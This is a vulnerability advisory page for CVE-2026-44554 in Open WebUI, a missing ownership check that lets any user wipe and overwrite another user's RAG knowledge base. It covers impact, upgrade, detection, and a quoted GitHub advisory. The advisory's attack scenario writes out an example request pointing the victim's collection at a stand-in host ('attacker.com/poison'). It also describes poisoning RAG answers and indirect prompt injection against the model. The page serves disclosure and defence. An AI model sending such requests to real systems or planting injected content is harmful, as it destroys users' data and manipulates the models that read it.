NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-44554: Open WebUI has Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite

highCVSS 3.1 8.1GHSA-7r82-qhg4-6wvj

Open WebUI up to 0.8.12 lets any logged-in user overwrite another user's knowledge base. The /api/v1/retrieval/process/web endpoint takes a caller-chosen collection_name and deletes that vector collection before writing new content, with no ownership check. The attacker destroys the victim's data and poisons their RAG answers. Fixed in 0.9.0.

Published May 8, 2026 · Updated May 15, 2026 · Analysis Oct 28, 2026

What an attacker can do

POST /api/v1/retrieval/process/web in backend/open_webui/routers/retrieval.py accepts a collection_name in the body and an overwrite query parameter that defaults to true. It only requires a verified user. It never checks that the caller owns or can write to the named collection. With overwrite on, save_docs_to_vector_db calls delete_collection() on the target, then embeds whatever the supplied URL returns into it. The parallel process_youtube endpoint behaves the same way.

The attacker needs any valid account and the victim's knowledge base UUID. The advisory notes that a separate enumeration weakness makes UUIDs easy to learn. One API call is then enough. The victim's original embeddings are deleted from the vector store, and later RAG queries return the attacker's text instead.

That gives three outcomes: permanent loss of the knowledge base until it is rebuilt from the source files, misleading answers from the LLM, and indirect prompt injection, since the planted content can carry instructions aimed at the model that reads it. Teams that share an Open WebUI instance with department knowledge bases are the most exposed.

Who is affected

Affected: open-webui <= 0.8.12 (pip package open-webui and the openwebui/open-webui Docker image). The report was made against main at commit 6fdd19bf1 and says likely all versions with RAG or knowledge base features. Any instance with more than one user account, including self-registration, is in scope.

Check your version:

pip show open-webui

For Docker, check the image tag or the version shown in the app's About dialog.

open-webui

Ecosystem
PyPI
Affected
<= 0.8.12
Fixed in
0.9.0
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.9.0 or later:

pip install --upgrade open-webui

For Docker, pull a 0.9.0 or newer openwebui/open-webui image and recreate the container. The advisory describes no specific code change and no official workaround. As interim risk reduction, limit who can hold an account on the instance, since any authenticated user can trigger it. Back up your vector store and the source documents so a deleted knowledge base can be rebuilt.

How to tell if you were hit

Look for requests to /api/v1/retrieval/process/web or the YouTube processing endpoint where collection_name is a UUID that belongs to someone else. Compare the user making the call with the owner of that knowledge base.

On the data side, check for knowledge bases whose contents changed suddenly, shrank, or now hold text from an unexpected URL. Users reporting that their RAG answers changed or that documents vanished are a sign too. Look at the outbound fetches from the server to unfamiliar hosts at the same time.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite

Affected Component

Retrieval web/YouTube processing endpoints:

  • backend/open_webui/routers/retrieval.py (lines 1810-1837, process_web)
  • backend/open_webui/routers/retrieval.py (the parallel process_youtube endpoint)
  • backend/open_webui/routers/retrieval.py (line 1445, save_docs_to_vector_db call chain)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.

Description

The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content.

Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.

# retrieval.py:1810-1837 — no collection authorization check
@router.post('/process/web')
async def process_web(
    request: Request,
    form_data: ProcessUrlForm,
    user=Depends(get_verified_user),
    ...
):
    # ... fetch and process the URL ...
    save_docs_to_vector_db(
        request=request,
        docs=docs,
        collection_name=form_data.collection_name,  # attacker-controlled, unchecked
        overwrite=overwrite,                        # defaults to True
        ...
    )

CVSS 3.1 Breakdown

| Metric | Value | Rationale |
| Attack Vector | Network (N) | Exploited remotely via API call |
| Attack Complexity | Low (L) | Single API call with a known KB UUID |
| Privileges Required | Low (L) | Requires any authenticated user account |
| User Interaction | None (N) | No victim interaction required |
| Scope | Unchanged (U) | Impact within the knowledge base authorization boundary |
| Confidentiality | None (N) | No data disclosure from this vulnerability directly |
| Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data |
| Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |

Attack Scenario

  1. Attacker discovers victim's KB UUID via the knowledge-bases meta-collection (separate finding) or other enumeration.
  2. Attacker sends: `` POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collection_name": "<victim_kb_uuid>" } ``
  3. The endpoint fetches content from the attacker's URL.
  4. save_docs_to_vector_db deletes the entire vector collection belonging to the victim's knowledge base.
  5. The attacker's fetched content is embedded and written as the new collection content.
  6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.

Impact

  • Data destruction: Victim's original KB embeddings are permanently deleted from the vector store
  • RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim
  • Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried
  • Persistence: The poisoned content persists until the KB is rebuilt from source files

Preconditions

  • Attacker must have a valid user account
  • Attacker must know the target collection name (KB UUID) — easily obtained via the knowledge-bases enumeration finding

Credited to Classic298.

Questions

Does the attacker need an account on my Open WebUI instance?

Yes, any authenticated user account. The advisory rates privileges required as low and needs no victim interaction.

How does an attacker learn a victim's collection name?

The advisory says a separate knowledge-base enumeration flaw exposes the UUIDs. That makes the precondition easy to meet.

Is the data recoverable after an attack?

The embeddings are deleted from the vector store. The advisory says poisoned content persists until the knowledge base is rebuilt from its source files.

Is this exploited in the wild?

No source reports exploitation. It is not in CISA's KEV catalog, and its EPSS score is low (0.003).

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries